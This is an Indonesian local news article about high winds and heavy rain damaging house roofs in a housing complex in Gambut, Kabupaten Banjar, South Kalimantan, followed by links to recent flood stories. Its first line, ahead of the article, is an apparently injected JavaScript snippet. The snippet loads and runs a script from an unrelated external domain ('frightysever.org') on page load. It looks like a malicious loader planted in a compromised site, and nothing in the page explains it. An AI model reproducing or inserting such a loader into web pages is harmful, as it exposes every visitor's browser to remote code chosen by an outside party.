(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Hujan Lebat di Gambut, Atap Rumah Terbang Dibawa Angin Kencang


KANALKALIMANTAN.COM, MARTAPURA – Angin kencang disertai hujan melanda Kabupaten Banjar Kalimantan Selatan (Kalsel), Sabtu (11/1/2025) pagi.

Angin kencang menyebabkan sejumlah rumah warga di Jalan Pamajatan, Komplek Permata Hijau II, Kelurahan Kayu Bawang, Kecamatan Gambut, mengalami kerusakan.

Pantauan Kanalkalimantan, sebagian besar rumah yang terdampak angin kencang mengalami kerusakan pada bagian atap. Kerusakan bervariasi mulai dari ringan hingga sedang.

Baca juga: Air Mancur Menari di Taman Van der Pijl, Ini Respon Sang Cucu Perancang Banjarbaru

Reruntuhan berupa atap seng dan kayu masih berserakan di beberapa rumah yang terdampak angin kencang.

Bahkan ada juga pohon yang tumbang pada peristiwa angin kencang di Komplek Permata Hijau II itu. Beruntung tak ada korban jiwa ataupun luka pada peristiwa itu.

Salah seorang warga, Mama Alfi mengaku rumahnya salah satu yang terdampak angin kencang.

Perempuan yang tinggal bersama suami dan anaknya saat pagi itu mengaku sedang berada di rumah karena cuaca sedang hujan lebat.

Baca juga: Taman Van der Pijl Jadi Taman Ramah Anak, Ada Air Mancur, Musholla hingga Perpustakaan

Secara tiba-tiba, gemuruh angin kencang datang hingga memporak-porandakan sebagian atap rumah miliknya dan rumah tetangga.

Bahkan menurutnya, saat terjadi angin kencang, ia menyaksikan banyak atap warga terbang terbawa angin dan ada yang jatuh di depan rumahnya.

Angin kencang menyebabkan sejumlah rumah warga di Jalan Pamajatan, Komplek Permata Hijau II, Kelurahan Kayu Bawang, Kecamatan Gambut, mengalami kerusakan. Foto: rizki

“Atap kami rusak di bagian kamar sampai ke belakang, atap dapur rumah sebelah juga terbang,” kata Mama Alfi.

Baca juga: Tongkat Komando Polres Banjarbaru Resmi Dipegang AKBP Pius X Febry Aceng Loda

Selain atap rumah, warga Komplek Permata Hijau II ini menyebut aliran listrik di rumahnya juga sempat mati karena kabel listrik putus terkena reruntuhan.

Belum ada data resmi dari pihak terkait jumlah rumah yang terdampak dan mengalami kerusakan pada peristiwa angin kencang tersebut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

4 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

7 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

13 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.